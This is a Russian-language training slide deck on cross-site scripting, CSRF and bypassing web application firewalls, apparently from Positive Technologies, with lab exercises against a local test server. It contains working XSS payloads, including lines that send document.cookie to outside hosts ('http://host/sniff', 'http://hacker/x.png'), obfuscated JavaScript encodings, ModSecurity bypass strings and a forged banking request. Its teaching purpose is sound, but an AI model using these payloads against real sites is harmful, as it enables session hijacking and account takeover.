Upload
dmitry-evteev
View
2.794
Download
2
Embed Size (px)
DESCRIPTION
Citation preview
Лабораторная работа по теме «Межсайтовое выполнение сценариев»
Дмитрий Евтеев
Positive Technologies
План лабораторной работы
Введение в тему безопасности Web-приложений
Уязвимость типа «Межсайтовое выполнение
сценариев»
Межсайтовое выполнение сценариев в Java/Flash-
приложениях
Обход фильтров безопасности и Web Application
Firewall (WAF)
Резюме
Введение в тему безопасности Web-приложений…
Опасный мир Web-приложений
По данным компании Positive Technologies за 2009 год
• 79% сайтов содержат критические уязвимости
• 58% сайтов содержат уязвимости средней степени риска
• 54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента
http://ptsecurity.ru/analytics.asp
Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».
Распределение вероятности обнаружения уязвимостей по степени риска (данные за 2009 год)
http://ptsecurity.ru/analytics.asp
Классификация уязвимостей в web-приложениях
Web Application Security Consortium WASC-TCv2 / OWASP Top 10
CWE/SANS Top 25 Most Dangerous Programming Errors 2010
Threat Classification References Mapping Proposal
http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal
http://projects.webappsec.org/Threat-Classificationhttp://www.owasp.org/index.php/Category:OWASP_Top_Ten_Projecthttp://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf
Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»
Опасный мир Web-приложений: статистика за 2009 г.
Часть 1: Межсайтовое выполнение сценариев
Уязвимость типа «Межсайтовое выполнение сценариев» (Cross-site Scripting, XSS)
Cross-Site Scripting – Базовые знания
"Межсайтовое выполнение сценариев"
Уязвимость Cross-Site Scripting (XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.
"Межсайтовое выполнение сценариев" может использоваться для:
• Подмены содержимого сайта (content spoofing, fishing)
• Получения доступа к данным в контексте уязвимого сайта
(например, к содержимому document.cookie)
• Проведения атак на компоненты среды клиента (браузер,
ActiveX, Adobe, etc.)
• Распространения вредоносного
кода (ajax-worms)
Cross-Site Scripting – Базовые знания
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»
Web-серверhttp://web/?search=WhatIsWebSecurity
...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value="What Is Web Security"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»
Web-серверhttp://web/?search="><script>alert('XSS')</script>
...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...
Cross-Site Scripting – Базовые знания
Условно Cross-Site Scripting (XSS) делят на следующие типы:
• Сохраненный вариант (persistent/stored)• Отраженный вариант (non-persistent/reflected)
Cross-Site Scripting обычно можно встретить:• В HTML-теге• В теле JavaScript/VBScript/etc (eq DOM-based)• В коде-HTML• В параметре тега-HTML• В Java/Flash приложениях• В ActiveX• …
Cross-Site Scripting – это уязвимость на стороне клиента (client side)
• Microsoft Internet Explorer 8 XSS filter• Mozilla NoScript Firefox extension
Cross-Site Scripting – Классическая эксплуатация
Возможный метод обнаружения уязвимости
/?id="><script>alert(1)</script>
• HTML-код возвращаемой страницы примет вид
В параметре тега …<font size=""><script>alert(1)</script>"…
В тексте …<p>"><script>alert(1)</script></p>…
• В результате браузер выполнит JavaScript-код
Пример практического использования:
"><script src=http://host/script.js></script>
Cross-Site Scripting – Классическая эксплуатация
Пример (1) – по событию
Уязвимый HTML-код:…<IMG SRC="$filename">…
Эксплуатация:/?filename="onerror=alert('XSS');"/?filename="onerror=javascript:alert('XSS');"…
HTML-код возвращаемой страницы примет вид:…<IMG SRC=""onerror=alert('XSS');"">…
Пример практического использования:
/?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(document.cookie);"
Cross-Site Scripting – Различия браузеров
http://projects.webappsec.org/Script-Mapping
Cross-Site Scripting – Классическая эксплуатация
Пример (2) – DOM-based
Уязвимый код:...<select><script>document.write("<OPTION value=1>"+document.location.href.substring
(document.location.href.indexOf("default=")+8)+"</OPTION>");document.write("<OPTION value=2>English</OPTION>");</script></select>...
Штатная работа сценария:/?default=Russia/?default=French…
Эксплуатация:/?default=<script>alert(document.cookie)</script>
Cross-Site Scripting – Безопасность Cookie
Атрибуты Cookie
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HTTPOnly]
Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев»
Web-сервер
1. fuzzing, поиск уязвимости
2. Передача «заряженной» ссылки:http://web/?search="><script>...</script>
3. Переход по ссылке
4. Выполнение исполняемогокода в браузере пользователя
5. Например, передача Web-сессии (cookies)
6. Работа с Web-приложением от имени атакованного пользователя
Практическое занятие (1)
http://192.168.0.51:80/
• Найти уязвимость типа «Межсайтовое
выполнение сценариев».
• Создать сниффер для записи полезных
данных.
• Осуществить перехват сессии администратора приложения.
• Авторизоваться под учетной записью администратора приложения.
Часть 2: Межсайтовое выполнение сценариев в Java/Flash
Межсайтовое выполнение сценариев в Java/Flash-приложениях
XSS && CSRF – Базовые знания
Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF)
• Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)
• В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях
• Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением
Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению
Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.)
Зачастую применяется связка XSS + CSRF
Наглядный пример атаки с использованием уязвимости типа«Подделка HTTP-запросов»
Интернет-форум
1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>
Интернет-банк(ibanking)
2. Пользователь посещает форум
3. Браузер загружает картинку по адресу:http://ibanking/action?...
4. Если сессия пользователя существует, то…
document.domain = "example.com"; (!)
Методы обхода - Anti DNS Pinning, уязвимости реализации
Ограничения политики доступа (Same origin policy)
URL Результат Причины
http://www.example.com/dir/page.html Разрешено Одинаковый протокол и узел
http://www.example.com/dir2/other.html Разрешено Одинаковый протокол и узел
http://www.example.com:81/dir2/other.html ЗапрещеноОдинаковый протокол и узел, но
различающийся порт
https://www.example.com/dir2/other.html Запрещено Различающиеся протоколы
http://en.example.com/dir2/other.html Запрещено Различающиеся узлы
http://example.com/dir2/other.html ЗапрещеноРазличающиеся узлы (необходимы точные
соответствия)
http://v2.www.example.com/dir2/other.html ЗапрещеноРазличающиеся узлы (необходимы точные
соответствия)
Для безопасности используются изолированные зоны безопасности (Sandbox security model)
Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml»
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
Или вызов соответствующей функции
System.security.loadPolicyFile ("http://site/crossdomain.xml");
Cross-Site Scripting (Java/Flash) – Базовые знания
Потенциально небезопасные функции ActionScript:loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load() LoadVars.send() LoadVars.sendAndLoad() MovieClip.getURL() MovieClip.loadMovie() NetConnection.connect() NetServices.createGatewayConnection() NetSteam.play() Sound.loadSound() XML.load() XML.send() XML.sendAndLoad()
Cross-Site Scripting (Java/Flash) – Базовые знания
Пример уязвимого кода на языке JAVA
Cross-Site Scripting (Java/Flash) – Базовые знания
Практическое занятие (2)
http://192.168.0.51:81/
• Найти уязвимость типа «Межсайтовое
выполнение сценариев».
• Воспользоваться AJAX-сценарием
http://192.168.0.51:8085/act.js
для автоматизированной эксплуатации уязвимости «Межсайтовое
выполнение сценариев».
• Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с
автоматическим созданием нового пользователя в тестовом приложении.
• Авторизоваться под учетной записью созданного пользователя.
Часть 3: Обход фильтров безопасности и WAF
Обход фильтров безопасности и WAF
Что такое WAF
http://server/?id=6329&print=Y
Нас атакуют!
Ахтунг!!!
WAF Webserverhttp://server/?id=5351
http://server/?id=8234
http://server/?id="><script>...
http://server/?id=1+union+select...
http://server/?id=/../../../etc/passwd
Нормализация данныхDecode HTML entities (e.g. c, ", ª)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...
Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...
Какие они бывают
По режиму работы:
• Мост/Маршрутизатор
• Обратный прокси-сервер
• Встроенный
По модели защиты:
• Основанный на сигнатуре (Signature-based)
• Основанный на правилах (Rule-based)
По реакции на «плохой» запрос:
• Очистка «опасных» данных
• Блокировка запроса
• Блокировка источника атаки
Методы обхода WAF
Фундаментальные ограничения технологии
• Неспособность полностью защитить Web-приложение от всех возможных уязвимостей
Общие проблемы
• Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика
• Обработка возвращаемого трафика клиенту
Уязвимости реализации
• Технологии нормализации запроса
• Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)
Общие проблемы
• Сохраненный вариант XSSВ случае если удалось «протащить» XSS через фильтр, WAF не
сможет воспрепятствовать реализации атаки
• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//
• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie
Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)
Методы обхода WAF – Cross-Site Scripting
Методы обхода WAF: Возможные способы кодирования JavaScript
Пример: <script>alert(1)</script>
Hex-кодирование (URL-представление)
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
HTML-кодирование
<script>alert(1)</script>
<script>alert(1)</script>
UTF7
+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
… UTF8, base64, escape-encoding (style), etc
Методы обхода WAF: Возможные способы кодирования JavaScript
Пример с BlackHat USA09:
<script>
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
</script>
BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;
Методы обхода WAF: Возможные способы кодирования JavaScript
http://utf-8.jp/public/jjencode.html
Практика обхода WAF: Cross-Site Scripting
Обход правил фильтрации на примере ModSecurity:
1;alert/*skip*/('XSS');
<img src="x:alert" onerror="eval(src%2b'(0)')">
";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');"
...
BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
Практическое занятие (3)
http://192.168.0.51:82/
• Найти уязвимость типа «Межсайтовое
выполнение сценариев».
• Воспользоваться техникой обхода WAF.
• Осуществить перехват сессии администратора приложения.
• Восстановить используемый пароль администратора приложения по
перехваченному хеш-значению md5 используемого пароля.
• Авторизоваться под учетной записью администратора приложения.
Резюме лабораторной работы
Межсайтовое выполнение сценариев часто встречается на широко известных и крупных Интернет-ресурсах
Cross-Site Scripting в «живой природе»
Резюме
Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений
Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны
Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде
Защита Web-приложений, также как и информационная безопасность в целом должна быть комплексной :)
Дополнительные материалы и ссылки
Web Application Security Consortium (WASC)
http://projects.webappsec.org/Cross-Site+Scripting
http://projects.webappsec.org/Script-Mapping
Open Web Application Security Project (OWASP)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
ha.ckers XSS (Cross Site Scripting) Cheat Sheet
http://ha.ckers.org/xss.html
Jjencode
http://utf-8.jp/public/jjencode.html
Спасибо за внимание!
http://devteev.blogspot.com/http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/